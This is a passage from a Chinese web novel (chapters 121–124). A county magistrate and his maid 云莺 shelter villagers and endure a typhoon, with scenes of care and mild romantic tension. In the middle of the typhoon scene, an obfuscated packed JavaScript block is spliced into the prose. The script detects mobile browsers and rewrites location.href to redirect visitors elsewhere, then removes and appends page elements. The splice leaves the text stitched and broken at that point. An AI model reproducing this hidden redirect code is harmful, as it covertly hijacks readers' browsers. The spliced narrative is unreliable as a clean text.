与其贸贸然的跑到县衙来打听这些有的没的,再让人扣下一个骄纵的帽子,她不如回后院去。 提前备好了米面粮油,将丰茂的树枝砍断,外边摆着的花盆等收拾起来,再给空置的院子都锁好封好,另买些药材与干货囤起来。 总之,做好一个贤内助该做的事情,让二爷只需要在前边打拼,不需要为衣食住行分半点心,这也就是她如今能做的事情。 云莺抬步准备回去,也就是此时,有迅疾的马蹄声从远处传来。 那马蹄声如雷霆,明明听着也没几匹马,可却给人千军万马来临的声势,登时让人心跳都快了些。 云莺站在原地没动,果然,不久后,一行五人就从街角的位置转过来。 玉面冷峻,气势如渊,一身黑色劲装坐在驰骋的黑色骏马上。 此刻的二爷于云莺来说,犹如天神突降。 第121章 准备工作 云莺忍不住往前踏了两步,她才刚站稳,二爷就勒停了他身下的坐骑,停在了路上。 刘颂云面色严重的与二爷说着飓风的事宜,二爷想来已经知晓了此事,一边从马上下来,一边让刘颂云先去将修路那一摊子事儿停了,其余诸事他自有安排。 刘颂云见二爷神色平静,他躁动的心思也安稳下来,忙不迭的给二爷行了个礼,匆匆去忙自己的事儿了。 云莺往前走了几步,“二爷。” 二爷面色微缓,“怎么跑出来了?” 云莺神色凝重,“我听说了飓风的事情。” “别担心,我这就去安排。你先回后院吧,把府里人约束好,顺便把不用的院子都腾挪出来。” “二爷是想……” 二爷见云莺明白了他的意思,微点头,“百姓家大多是茅草屋,万万经不起飓风肆虐。我有意号召城县城中有能力之人,借出家中房屋,安顿百姓渡过这几日。” “好了,你快去安排吧。” 云莺想说二爷有些异想天开了,县城有能力借出自家院子的,都是些富户。富户若有能力,也只是捐献几个银钱,可若是把这些穷苦百姓弄到自己家,谁知道这些人身上带没带虱子虫子,会不会进了院子就偷他们东西,又会不会请神容易送神难,等飓风过去这些人却送不走了。 但二爷着急去忙别的事情,云莺也不想在这时候给二爷泼凉水,便一口应下此事,带着两个丫鬟回后院了。 后半晌云莺将她能想都得事情都准备起来,而到了天降黑时,县衙中被塞进来许多百姓。 这些百姓被随云带进来交给她,任凭她来安排。 而这些百姓俱都穿着破衣烂衫,手里抱着一个包裹几个破碗。有的好一些,还拿着一床旧棉被,有的则是直挺挺两个膀子抬个头进来的。 这些人进了县衙,见到了云莺,俱都吓得大气不敢出。一个个瑟缩的身子垂着脑袋,跟要上刑场似的。 云莺心里叹口气,随即有条不紊的将这些人安排下去。 因为考虑到后边许是县衙中还要塞人进来,云莺就将人安排的很紧凑,基本上一个屋子里安排十多个人。 也真是被她猜中了,后边两天还有源源不断的百姓被送进来。 不过两天时间而已,县衙已经装了五六百人。 这么多人,可空院子却只有五六个,到了后期每个屋子都只能勉强让人坐着,想躺都没地方躺。 人太多,又太杂,其中还有好些成年男丁。 云莺担心后院的小丫鬟们会被人占便宜,就将她们全都提到了她院子里。 可她院子的院墙也不高,晚上竟然被人摸了进来。 虽然那在县衙还敢作恶的混子没得了好,但云莺也被吓得不轻。 二爷得知了此事,忙了两天都没顾得上休息的男人,陡然发了雷霆大怒。 那妄图作恶的男人,被二爷拉出来杖刑四十,打的皮开肉绽,身上骨头都断了好几根。二爷杀鸡儆猴,把那些还抱着别的小心思的人全都震慑住了。 但即便如此,二爷也不放心让云莺继续住在后院了。 他当即喊上云莺,“随我去我院子住。” 云莺别扭了一瞬,“不用了吧?” “出了这事儿,这院子你还住的下?晚上你还睡得着?走吧,住我院子里,你这院子腾出来,后续再安排些人过来。” 云莺也知道这时候不是与二爷争辩的时候,况且二爷的安排确实让她安心,她便带着几个小丫鬟,住进了二爷的院子。 二爷的院子在前院。 住进这里后,云莺的消息更灵通了些。 于是,她知道,不仅县衙被安置进许多百姓,就连云归县很多大户人家,也接受县衙分配的任务,接纳了好多百姓进家里。 这其中又以商家和齐家为最。 尚家如今是那给家族伸冤的小子当家。 听说那小子已经改回本姓,如今就居住在尚家的老宅子中。 他在云归县置办了买卖,就是专门收购山上的山货。不管是什么蘑菇、栗子,还是别的上了年份的药材,他都要。 这小子从他养父哪儿学了不少本事,将铺子经营的风风火火,听说很是赚了些银钱。 再有就是齐家了。 齐家早先给瑞珠送了贿赂,买通了瑞珠给府里送了不少海货。这些东西还被瑞珠当做土仪送到京城去,帮着齐家打开了销路,提高了档次。 却也因为瑞珠此举,给了范县丞谋害二爷的机会,导致二爷生辰那天差点被人毒害,如此,瑞珠被送回京城发落,齐家也被苛责。 但事后二爷念着齐家到底是他治下的百姓,齐家生活红火了,还能多给县衙交税。如此,便给了齐家一条路子,让他们把自己的海货送到西北去。 至今为止,齐家已经往西北送了三趟货了。除了第二趟海货被山匪打劫,还因此伤了一个兄弟外,其余每次他们都能将货物顺顺利利的卖出,可谓赚的盆满钵满。 这两家都是得了二爷恩惠的,值此二爷用人的关头,不管是尚家还是齐家,都齐齐跳了出来。 他们都安置了不少百姓 在自家府上,有他们带头,其余一些富商不管出于什么考虑,哪怕是做做样子呢,也都接了些百姓回家住。 于是,云莺原本以为的,会很难安置的百姓,竟然在短短两三天就安置完毕了。 但是,县城的百姓只是小头,乡镇和村落的百姓才是大头。 而不管是乡镇还是村落里,能盖起青砖瓦房的人家都太少了。大部分人家都是茅草屋,如此,百姓的人身安全依旧是个大问题。 听说已经有百姓跑到携家带口跑到山洞里去了,但依旧有很大很大一部分百姓,没有山洞可躲避,也没有乡绅富户可依靠,只能努力加固自己的茅草屋,祈求渡过这场灾殃。 外边的天色更阴沉了,风也开始变大。 热了许久的天突然变得凉爽,按说大家该高兴的,可不管是云莺,亦或是其余云归县的百姓,看着那一步步黑下来的天幕,只觉得提心吊胆,一块大石压在胸前让他们喘不上气。 云莺在窗户口坐着,就这样静静地看着黑云一点点下沉。 陡然,她想起二爷似乎还没回来,忙推开房门走了出去。 随雨恰从外边跑进来,云莺忙问他,“二爷呢,还没忙完么?” “忙完?等着吧,这场飓风不过去,二爷就不会忙完。” “那也不能让二爷一直在外边,这飓风若登陆,破坏力太强,轻松可要人命。” 随雨抹了一把脸上的汗。 飞沙走石的时候,别人都感觉到了通体的凉爽,唯独他,依旧满身的汗。 “那没办法,二爷要忙的事情太多了。”如今大面上能安排的,二爷都已经安排过了。不管是修路、养珠、梯田,亦或是金矿。 二爷能安排的,都已经安排了。 但农林牧副渔,这全县的事情,包括百姓的身家性命,二爷总要都过一遍,才甘心回来。 人在没有把握的时候,就会不停的忙碌,不停的补自己的窟窿,好似多做一些,就能少损失一些。 但是,能有几分有用,谁也说不准。 随雨想想百姓们栖遑的模样,再想想此时还在外边奔波的二爷,陡然抹一把脸,“算了,不说了,我急着给二爷送件蓑衣过去。这府里的事儿都交给你了,你警醒着些,谁敢这时候闹乱子,只管拉出来丢出去。这县衙的守卫我都交代过了,让他们全听你的吩咐,你照应好府里,别让二爷忧心。” “好,我知道了。” 送走了随雨,一滴水陡然滴落在头顶上。 云莺还没反应过来,就听柳儿惊叫一声,“哎呀,下雨了。” 穗儿推着云莺回去,“姑娘快进屋,这雨眼看就大了。” 似乎要应征穗儿的说法,雨水越来越大,不过片刻功夫,变成了瓢泼大雨。 大雨伴随着大风,大风呼啸着来去,刮的院子里的东西叮铃哐当作响。 天黑的如同末日来临。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14616653|156155||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 明明如今正是午后时间,放在平常该是太阳最绚烂,日头最明亮的时候,可此时此刻,天黑的伸手不见五指。 小丫鬟们全都缩在云莺屋里,他们抱做一团,瑟瑟发抖。 穗儿也轻声嘀咕着,“这么大雨,天还这么黑,这也太吓人了。” 柳儿哆嗦道,“你之前没见过么?” “见过,那怎没见过?之前每年都会来这么一两回,每次一来飓风,村里人都要一起跑到山里躲起来。”那时候才难呢。她记忆最深的就是又一次,大风还伴随着雷电,直接就把他们藏身的,山洞附近的一棵大树劈着火了。 那树可有些年月了,足有百十年。再加上之前天太干旱,被雷劈着火后,火势陡然加大,很快成了燎原之势。 天上的雨不仅没有浇灭了火,反倒还助长了火焰的势头。 当时他们多绝望啊。 若从山洞跑出去,之后再没地方容身,等飓风过去,他们不死也伤。可若是继续留在山洞里,那暴烈的火势烧的他们面颊隐隐作痛,他们更怕火势再大一些,把山洞前边的树全部点燃,之后他们想跑也跑不掉。 前进是死,躲着也是死,最后一部分村里人跑了出去,而她家里纯粹是因为她娘刚生了妹妹,如今两人都还没出月子。没办法,他们家就硬撑着在山洞里熬下去。 好在,他们艰难的熬过了那一场劫难,而跑出山洞的人,有的被雨水冲走了,有的则淋了雨染上烧热,直接烧坏了脑子变成了傻子。 当然,这些都还不是最惨的,最惨的是,那年正值早稻收割,飓风过境之后,那一季的庄家颗粒无收。之后又饿死了好些人,病死了好些人,真就是惨不忍睹。 这些事情穗儿没敢说出来,怕吓到云莺,更怕吓到其余那些年纪更小的小丫鬟。 但穗儿不说,云莺又岂会不懂。 现代的台风过境,轻轻松松就能掀翻一艘巨轮,高层上的玻璃更是轻易被他们吹落,厂房上的彩钢屋顶,甚至一些建筑物前的雕塑,这些东西重则千斤万斤,可在台风面前,就跟个塑料玩具一样不顶事。 现代都如此,古代更别说。 想想地里茁壮成长的秧苗,再想想河里养着的珍珠螃蟹,以及才修了一小半的路, 已经开始盖的旷工住所…… 云莺心中忍不住念叨,不怪岭南府穷困,实在是老天爷对这片土地太不留情了。 一年一两次,两三次台风过境,即便之前再好的底子也经不住这么嚯嚯。更何况岭南府底子本来就不够厚实,还被这么一次次凌虐,岭南府不穷都说不过去。 只是,如此这般,就苦了这边的百姓了。 还有二爷,刚有的好开头,如今也要重头再来。 正想着二爷,云莺突然听到院子里传来吵嚷声。 她透过玻璃窗看过去,正看见二爷穿着蓑衣领着随云几人进了院子。 天还是黑压压的,只透出一丝亮光来。 再加上雨水瓢泼,如同帘幕一般挡住了云莺的视线,云莺看不清二爷的表情,但她想,二爷此时的心情指定非常沉重。 二爷似乎也看到了这间厢房中的她,他侧首看过来。 天地之间突然安静的过分,云莺连呼吸都变得静悄悄的。 二爷抬起了头上的斗笠,冲她招了招手。 云莺以为自己看错了,可等她揉揉眼再看过去,就见二爷依旧站在那里看着她。 他又冲她招了招手。 恰此刻,狂风呼啸而来,吹的雨水朝他席卷而去。天地间一道惊雷,将他的眉眼五官全都映照出来。 他的眉峰挺拔,剑眉锋利,五官线条棱角分明。他鼻梁挺直,薄唇紧抿,眸中一片沉沉的暗色。 他的嘴唇似乎嗫嚅了一下,似乎在唤她“过来。” 云莺不知道自己是不是幻听了,她应该是幻听了的,毕竟距离这么远,雷声这么大,雨声这么吵。 可她就是相信,他确实说了那两个字。 他在呼唤她,朝他走过去。 第122章 哄睡 云莺当即转过身,拿起了门后放置的雨伞。 穗儿和柳儿多了解她啊,看见她这个动作,就知道她要去做什么。 但是,外边还下着瓢泼大雨,惊雷闪电不时在空中出没。这时候出去,即便不被狂风掀翻了雨伞,浇个透心凉,可若是被雷电劈中,那也是要出人命的。 穗儿和柳儿忙开口,“姑娘,不如等雨小些再去寻二爷。” 两个丫头并没有看见二爷给云莺的传话,她们只以为是姑娘放心不下二爷,才想走一趟。 姑娘的心是好的,奈何现在天气不给力。 即便不被雷电袭中,可姑娘这么纤细孱弱的身子,怕是随便一阵风都能将她卷到天上去。 云莺却不管这些,她将屋里诸事交给穗儿和柳儿,便推开了门。 门才刚被推开一道缝,就有狂风席卷进来。 屋内的东西被吹得东倒西歪,博古架上的瓷器还噼里啪啦摔下来两个。 小丫鬟们惊呼惨叫,恰此刻,屋顶的瓦片被风吹落下来,落在地上发出“哐当”的锐响。 穗儿和柳儿打了个机灵,齐齐捂住耳朵,屋内胆小的丫鬟更是忍不住呜咽出声。 穗儿和柳儿才想去安抚小丫鬟,转眼她们又看见云莺义无反顾的往外走,两人连忙来拉她,“姑娘……” 可才刚开了口,她们就看见门外瓢泼的雨幕下,二爷陡然露了面。 他看着云莺,没说话,只伸出手来,云莺便撑起伞朝二爷走去。 雨伞被吹飞之际,二爷使了个巧力将雨伞拿在了手中。他另一只手则空出来,一个俯身单臂将云莺抱在了怀里。 房门被云莺带上之时,穗儿和柳儿似乎听见二爷与云莺说了一句,“帮我把斗笠拿下来。” 云莺果真听话的摘下了他头上的斗笠,两人在风雨中一道进了书房。 看着两人的身影消失在重重雨幕中,穗儿和柳儿互相对视一眼,脑中忍不住回想刚才的画面:二爷与姑娘,当真恩爱甚笃,情深意长。既如此,为何二爷还不纳了姑娘? 轰隆的雷声很快远去了,但大雨还保持着倾盆而下的势头,就好像天上被捅了个窟窿似的。 即便云莺已经努力往二爷身上贴了,但走到书房被二爷放在地上时,她的衣衫依旧湿了大半。 其中固然有雨太大,她被风吹来的雨水浇到的缘故,另一个缘故则是,二爷身上穿着湿淋淋的蓑衣,她为避免被雨淋,竟还主动往他身上贴。 云莺双脚落了地,她条件反射的先扯了扯黏在身上的衣衫。 夏日衣衫轻薄,她今日只穿着一身水蓝色苏绣月华锦衫,并一件白色拖地烟拢梅花百水裙。这两件衣裳,用的还都是二爷送给她的好料子,非常轻薄透气,手感质感绝佳。 但就因为太轻薄了,沾上水就整个贴到了身上。虽然不至于走光,但身体线条却若隐若现。 但云莺没注意到这点,她只觉得湿衣裳贴在皮肤上,怪难受的。 她正扯着自己的衣裳,二爷已经放了下油纸伞,脱下了身上滴滴答答落着水的蓑衣,转身问她,“怎么……” 最后一个“了”字没出口,二爷的声音陡然变得喑哑滞涩起来。 出现在眼前的一慕,是她曲线毕露的身段,微微懊恼的容颜。她胸前雪白的高耸微微起伏,连那沟壑都分明起来。再往下,小腹平摊,腰肢纤细,臀部却挺翘圆润…… 二爷感觉面颊有些热,鼻子中也有一股热气往上窜,他陡然转开视线,不去看云莺。 云莺本来没觉得哪里不妥,可二爷的动作太大了,云莺免不了低头审视自己。 然后就发现,她此时有些走光,甚至连内里玫红色的小衣都若隐若现起来。就更别提那雪白的丰腴,与那裸露出来的锁骨沟壑了……这模样,不知情的怕是以为,她是来勾引二爷的。 云莺一张芙蓉面陡然染上几许窘迫,杏眼中水淋淋的。 也就在这时,二爷轻咳一声,从旁边拿了一件披风,目不斜视的走过来,将披风披到她身上。 “现在天气有些凉,你身上衣裳湿了,小心风寒。” 云莺硬着头皮将披风拢在身上,侧过首不看二爷,口中却轻轻应了一声“好”。 她清香的体息,伴随着温热的女儿香扑到了二爷身上,二爷忍不住垂眸看向她。 眼前人妖颜如玉,红绮如花,莹白的面颊上几抹红润,乌黑的发丝帖在她微启的樱唇上,她贝齿懊恼的轻咬着嘴唇,如此勾人心魄。 二爷艰难的移开视线,喉结却不受控制的,上下耸.动了好几下。 云莺是窘迫的,但很快,她就顾不得这些了。 因为她注意到,二爷身上的衣裳湿透了,此时还在往下淌着水。 他头发更是水漉漉,顺着发丝那清水划过他的面颊和下颌,又落到他已经湿透的衣襟上。 云莺蹙着眉,“二爷,您不是穿着蓑衣,带着斗笠么,怎么从上到下都湿透了?” 二爷看看自己身上,抹了一把滚到眼里的水珠,“随雨拿来蓑衣的时候有些晚,那时候雨水落下,也没地方躲,就淋湿了。” 后边之所以把蓑衣和斗笠都 带上,全是因为随雨几人吵吵的厉害。他实在不愿意与他们争执,便聊胜于无的将这些东西都穿戴在身上。 不过湿就湿了吧,左右也不是什么大不了的事儿。 二爷觉得无关紧要的事儿,云莺却不敢苟同。 她催二爷去换衣裳,最好再洗个热水澡,喝点姜汤。 但一看外边天色已经昏暗的厉害,雨水也依旧哗哗下的让人看不见几米外的场景,云莺也不催二爷了,干脆拿起墙后的伞,自己转身就要往外走。 二爷一把拉住她的手,“你做什么去?” 二爷的手掌炽热,云莺的腕骨却是沁凉的。如此凉爽的天,他热乎乎的贴上来,她竟然觉得很舒服。 云莺微微挣扎了两下,二爷全然没有松开她的意思。 云莺在黯淡的光线下看着二爷的清俊的眉眼。二爷骨相特别好,即便是在如此狼狈的情况下,他也神清骨秀,仪态雍容。 但云莺实在不忍他一直穿着湿衣裳。 “二爷,我去您房间,给你拿换洗的衣衫鞋袜来。您就不要出去了,您淋了那么多雨,小心风寒。” 二爷一笑,她这是又把他的话还回来了。 他从云莺手中拿过雨伞,“不用你去,我自己去,你在书房等着就是。” 话落音,二爷撑着雨伞出了门。 但二爷这个衣裳换的有些慢,过了一盏茶功夫才出来。 二爷一露面,云莺就知道他为什么这么慢了,因为二爷竟然洗了个凉水澡。 二爷房中的净室中,有准备好的洗漱用水。这几天二爷沐浴,云莺总会再让人拎一桶热水进去。虽然这行为在随云几人看来有些搞笑了,毕竟二爷自从来了云归县,日子就糙了许多。除了冬天最冷那几日,其余时间二爷懒得折腾,都是直接冲凉水澡。 更何况如今还是炎炎夏日,天气闷热的厉害,云莺竟然给二爷准备温水洗澡,不得不说,确实够周到体贴的,但好似有些多余。 这些话随雨跟云莺唠叨过,云莺充耳不闻,心里却未尝没有想过,二爷指定觉得她麻烦。 但以往多余麻烦的事情,今天可不麻烦,更不多余。 二爷已经淋了好长时间雨了,还穿了许久的湿衣裳,如今还洗冷水澡,这是奔着风寒烧热去的吧? 云莺不认同的说了二爷几句,又从二爷手中拿了帕子过来,给他擦头发。 她絮絮叨叨的,总归就一个意思,让二爷以后不要再做这样的事情了。 他是云归县的主心骨,如今又正值飓风来临之际。百姓们心急如焚,惶恐难耐,他这个主心骨可不能在这个关头出点什么事儿。不然,他一倒下,百姓们没了主心骨,就更慌乱,那就要出大乱子了。 云莺温言软语,低声絮叨了好多,二爷竟然没阻止她,更没表示不认同。这就让云莺感觉,二爷认识到错误了,指定是把她的话听到心里去了。 可她随即就听到一阵阵若有似无的鼾声。 很低,甚至微不可闻。 但云莺距离二爷太近了,她可以保证,那声音是二爷发出来的,绝不是她的错觉。 云莺 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看看至今没有任何动静,依旧在打着鼾沉睡的二爷,随云声音更低了几分。 “自从知道飓风登陆的事情,二爷就一直没阖过眼。三天了,我和雷霆他们还换着休息过,二爷却自始至终在忙碌。” 二爷即便精力充沛,但他也不是铁打的人。会在此时睡去并不奇怪。随云奇怪的是,二爷对云莺不设防到这种地步。 随云多看了云莺两眼,随即便微颔首告退了。 云莺想着随云的话,再看看二爷眼下的青黑,自然心疼不已。 她也不想唤醒二爷,但坐着睡指定不解乏。况且,姜汤还是喝了好。 云莺就轻轻的推了二爷一下,谁料,本已经睡着,甚至打着鼾的男人,被他一推,陡然捏住了她的手腕,一双眸子也锐利的扫向她。 他眸光锐利冷冽,看着在清明不过。 云莺见状,都要怀疑二爷刚才在装睡。 但也只是一瞬间,认出了眼前人是她后,二爷又闭上了眼睛。 云莺见状真有些糊涂了,这是醒了还是没醒? 她又轻轻的唤了一声,“二爷。” 二爷靠在椅背上,紧攥着她的手说,“云莺,别吵,让我睡一会儿。” 云莺心中一酸,“您淋了雨,喝了姜汤再睡。” 二爷没什么动静,云莺轻轻挣了两下手,这次把这二爷彻底挣醒了。 但二爷依旧没动弹,只是平静的看着她。 云莺心软成一团,一只手打开了食盒,端出了里边的姜汤递到二爷嘴边,“您喝了姜汤,去旁边榻上休息。我不吵您,就在旁边陪着您,您看可好?” 二爷微蹙着眉,并不想喝姜汤。 云莺却将碗凑近了他嘴唇,“我喂您,您喝完了就去睡。” 二爷抬眸看着她,云莺不依不饶,又劝道,“喝了吧,随云刚送来的。您可不能倒下,后边还有许多事情等您处理。” 似乎是这句话起作用了,二爷终于启唇喝了那碗姜汤。 但他果真没动手,全程是让云莺喂着的。 云莺虽然不自在,但看二爷此时就是一副不清醒的模样,她心里倒没那么介怀了。 云莺将空碗放到桌上,将二爷拉起来。 二爷的书房中是有一张软榻的,平日二爷闲来会坐在软榻上,边喝茶边看书。 如今云莺就将二爷按坐在榻上,还给他脱了鞋,抬着他的腿放上去。 她将二爷摁倒在榻上,二爷全程没有反抗,就这般任由她施为。 “您睡一会儿,我在旁边看着您。若有什么事情,我再把您喊起来。” “嗯。” 口中这么应着,二爷却没立刻闭眼休息。他就这么直直的看着云莺。云莺没办法了,只能搬了张凳子过来,就放在软榻一侧坐着。 “这样行了吧?我说了我不走,我不骗您,您快睡吧。” 她轻轻的拍了两下,二爷伴随着那有规律的节拍,不知不觉陷入沉睡中。 第123章 听天命 书房中温馨静谧,书房外却凄风苦雨。 狂风肆虐,暴雨如注,这样的日子,只是半天都让人感觉难熬,更别提还不知道要延续几日这样的光景。 云莺想想就愁的不行,眉头都拧成个疙瘩。 她自己愁,看看睡着的二爷,更替二爷发愁。 二爷自赴任云归县后,文治武功,样样出色。他对云归县也真是用足了心思的,不管是铲奸除恶,还是助力百姓增产增收,都用足了他自己的本事。 可惜,眼看着许是就要有收获了,一场飓风过来,将二爷的一切努力归零。 外边又传来哐哐当当的声音,还有树枝断裂的咔嚓声。 风太大了,像是有妖在作怪。 那风打着旋,忽而猛地扑向紧闭的院门,只听“砰”一声巨响,院子里那扇紧紧合拢的大门,竟是被掀飞出去。 这动静太大了,吓得不远处她那间屋子中的小丫鬟,俱都发出恐惧的惊呼声。 可这样的惊呼很快又淹没在风声雨声中,渐渐听不见了。 外边天色依稀有了一丝亮光,云莺将视线从外边收回来,看向躺在榻上的二爷。 二爷不知是不是被外边的动静惊醒了,竟又睁开了眼。 云莺连忙又拍了他两下,“您睡吧,不是大事儿,只是风有些大,把瓦片和大门吹跑了。” 二爷哑着声音说,“只怕此灾过后,百姓的屋宅十不存一。” “那怎么办呢?咱们能想的办法都想了,能做的事情都做了。如今剩下的,也只是听天命罢了。老天爷若还存了几分怜悯,这场飓风就会很快过去,若不然……不过是些身外之物,只要人好好的,其余不管损失了什么,都是有机会再挣回来的。” “二爷,您别想这么多了,赶紧睡一觉是正经。指不定等您再次醒来,这飓风就过去了。” 二爷说,“若雨水变小,就唤醒我。” “我记下了,您快睡吧二爷。” 二爷果真又睡着了,但他心中挂念着事情,外边一有动静,他的眼睫就忽颤几下。继而,他或许会睁开眼看一看,或是在云莺的轻拍下,再次陷入睡眠中。 这一天是如此的难熬,难熬到让云莺焦心。 但大自然的神迹又不是她能控制的,她即便再焦灼再无奈,也只能干看着外边的一切,却连走出去看一看都不敢。 风太大了,连大门都能刮跑,就更别说她了。 怕是还没等到她走到外边,狂风就袭开了房门,将她卷飞到天上去,那才要命呢。 就这般胡思乱想着,外边的黑云竟然渐渐散了去。 天光重新明亮起来,但并没有什么卵用。 因为雨还在下着,且因为明亮的日光让人能看清外边的光景,愈发让人心生畏惧。 外边的围墙竟然塌了一半,树木有的被连根拔起,有的则被劈断了枝丫。 地面上的碎瓷与砖块更是不胜枚举,外边的积水更是到了人膝盖处。 忽而又一阵狂风刮过,好似整个书房都在动荡,好似连这座房子,都要被卷飞出去。 这样张狂施虐的飓风,就像是张开了它的血盆大口,要将一切它看见的人和物都吞噬。 太恐惧了。 太让人心惊胆战了。 云莺不敢再往外看,她第一次觉得,死亡距离自己如此之近。 即便是那次瑞珠将她推出去,她整个人暴露在歹人的剑光下。当时她虽惊惧的闭上眼,觉得自己会就此死去,但那时的恐惧只是一瞬间。 稍后她被二爷所救,那种恐惧的情绪慢慢散去,她人也镇定下来。 对比那时,现在的恐惧却是持续不断地,且随着时间的拉长,那种恐惧一点点发酵,到了要将她吞噬的地步。 她不知道飓风何时会停,不知道现在的凌虐,是不是已经让飓风手段尽出。那恐惧抓挠啃噬着她的心,她忍不住抓住了二爷的衣裳。 二爷再次睁开眼,就见她枯坐在身旁,面上的表情惊魂甫定。 二爷声音嘶哑低沉,问她,“吓坏了?” 云莺一抖,身子不受控制的激灵一下。等她意识到这话是二爷说的,她忙不迭看过来。 此时已经是傍晚时分,因飓风的缘故,天色早早黑沉下来。屋里没有点灯,外边也黑漆漆的,若非她一直坐在屋中,早就适应了这样的光线,她险些看不见二爷睁开的双眸。 云莺赶紧站起身,“您等等,我去把蜡烛点上。” 二爷却又一把抓住了她的手腕,“你坐着吧,我去。” “我……” “坐着吧,东西在哪儿放着你都不知道,还是我来吧。” 就这样,二爷下了地,穿上鞋子,去了书案处。 他不知从何处摸出一个火折子,之后点燃了蜡烛。蜡烛一根根被点燃,书房从之前的黑暗,变成了现在的明亮。 二爷见屋里亮堂起来,又坐回到软榻上去。 云莺见二爷睡眼惺忪,人也懒懒的似提不起精神。她就说,“您今天下午这一觉睡得不好,来来回回醒了好几次。” “嗯,心里装着事儿,睡不踏实。” 云莺也知道这个 情况,可能做的二爷都做了,剩下的只能看天意了。 她就道:“您做了您该做的,问心无愧就好。至于飓风过后会造成的灾情,这是没办法避免的。就是您现在一直不睡,该出现的问题还是会出现。您还不如好好休息,养足了精神,到时候有更大的精力去应对接下来的情况。” 二爷笑了,“道理我都懂,可却控制不住自己,就跟你一样。” “我怎么了?” “你也做了你该做的,可你也怕等这场飓风过后,收不了场。” 云莺沉默下来,不说话了。 她的心思被二爷猜的透透的,两人的心意在此刻是相通的,似乎说什么都多余。 窗外雨声哗啦啦的,好似不知道疲惫似的,一直下一直下。 云莺陡然想起一件事情,“二爷,您今天用饭了么?” “没有。” “是没用午饭,还是一整天都没用饭?” “一整天都没用。” 云莺叹口气,“您也不告诉我,您不知道饿么?” 二爷喑哑的声音带上了点笑意,“真没觉得饿。” “也是,那乱七八糟的事儿都把您的脑子塞满了,您哪里还有空去想饿不饿的事儿。” “你说的也对。” “那您现在饿么?” 二爷摸摸扁扁的腹部,眉头挑起来,“应该是有些饿了的。” 云莺闻言一笑,她正想说,那您在屋里等一等,我出去让人给您送饭菜过来。 可都没等她把话说出来,外边又响起了敲门声,继而,随雨推门走进来。 “嘿嘿,二爷您怎么醒这么早?二爷您现在要用晚膳么?饭菜已经给您准备好了,您是现在用还是等等再用?” 二爷和云莺俱都看向随雨手中的食盒,随雨忙将食盒举到前头来,“之前就给您准备好了,只是大哥说您睡着了,不让我们过来打扰您。我这是看书房的灯亮了,想着您该醒了,就来给您送些吃的来。” “二爷,您都一天没吃东西了,多少吃点吧。这天要下雨,娘要嫁人,咱们想管也管不住。依我的意思,您还不如好吃好喝的养两天,等这飓风过去,您有的忙呢。”随雨再次举高膳盒,“所以,二爷您现在用膳么?” “用。”二爷边说边指着门口位置,“你出去吧,看见你我头疼。” “嘿,这话说的。我虽然不如云莺姑娘讨喜,但也没到讨人嫌的程度吧。我怎么您了二爷,您现在这么不待见我?” “话太多了,还特别没有眼色。”二爷接过他手中的食盒,再次撵人,“还不出去,等我请你留下用膳么?” 随雨气笑了,“二爷,别人都是兄弟如手足,女人如衣服,在您这儿完全反过来了。二爷您可真是……行行行,我不说了,我麻溜的滚,不碍您的眼了。” 随雨拿着雨伞,三两步消失在雨幕中。 云莺看着随雨消失的身影,嘴唇微微翘起。 二爷一边关上房门,一边看向云莺,“笑什么,还不过来用膳。” “我么?我就不 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可此时,许是顾虑到外边风雨太大,来回折腾太麻烦;许是想着用完膳还要在书房中留一会儿,再跑去花厅用膳没必要。如此,膳食摆在书房中,两人坐在矮几旁,将就着把晚饭吃了。 云莺全程吃的都少,因为不怎么饿。 她忙着照顾二爷,不时给二爷剥虾,不时给二爷夹菜添饭。 但实际上,二爷虽说饿了一天,吃的却没往日多。只简单的用完一碗饭,二爷就放下了筷子。 云莺见状,就劝他说,“您再用一些吧,一天就吃一碗饭,这也太少了。” “算了,不饿了。再说也快休息了,吃太多闹心。” 究竟是担心吃的多闹心,还是飓风过境的事情闹心,云莺心中一清二楚。 但二爷不想多说,她也就不提。 云莺收拾了碗筷,将东西统一放回食盒中。 书房中都是饭菜的香气, 若是以往,云莺指定打开窗户通风散气,此时别想了。 窗户一开,指不定屋里的桌子都能被大风给掀翻。 如此,两人静坐着说了会儿话。等彼此都消食的差不多了,云莺让二爷躺在软榻上,她搓热了手指,给二爷按摩起头上的穴位来。 云莺学过一点按摩的技术,还是在长安候府的庄子上学的。 勉强也算学到家了,但还没正经练过手。所以,她这手艺到底如何,那还得二爷试过后再评价。 因为没怎么给人按摩过,云莺上手时有些小心翼翼。 她不停的放大放小着力道,等二爷觉得那力道合适了,才敢真的下手。 脑海中想着之前嬷嬷教导过的头上的穴位,云莺的动作从一开始的生涩,慢慢变得流畅。 云莺也时刻注意着二爷的神情,可惜二爷面色始终平静,她根本看不出自己这手艺究竟是好是坏,力道又是不是让二爷满意。 云莺的视线长久的定格在二爷面颊上,二爷陡然睁开眼看向她。 云莺被吓了一跳,手上陡然卸去了力道。 二爷说,“我吓到你了?” “有一点。您突然睁开眼,我没心理防备。” “是你一直看着我,我才看你的。” 这话听起来挺绕的,但云莺很快反应过来二爷什么意思。她忍不住就笑了,“我是新手,我怕您顾忌我的脸面,不舒服也不好说出来,只能多观察着点,看看自己按摩的你是否还受用。” “那你得出结论了么?” 云莺含笑点头,“您总体应该是受用的。不过我若多加改善,想必您会更受用。” 二爷轻笑出声,“现在已经很好了,我头疼症缓解许多。” “二爷又骗我。我这又不是神丹妙药,那可能那么快就见效。” “真有效,不骗你。” “好吧,二爷说有效就有效。二爷,您再闭上眼歇一歇,我再给您按一会儿。” “好。” 第124章 累倒 这场飓风过境,足足持续了八天时间。 好在也就最初三天有大到暴雨,到第四天时,雨水已经比最初小了许多,但也称得上是中雨。 这样的雨又下了两天,已经到了第五天。 这时候,雨水已经变成了淅淅沥沥的小雨,又渐渐变成蒙蒙细雨,直至彻底消失在云归县上空。 飓风是八天过去的,二爷是第四天出门的。 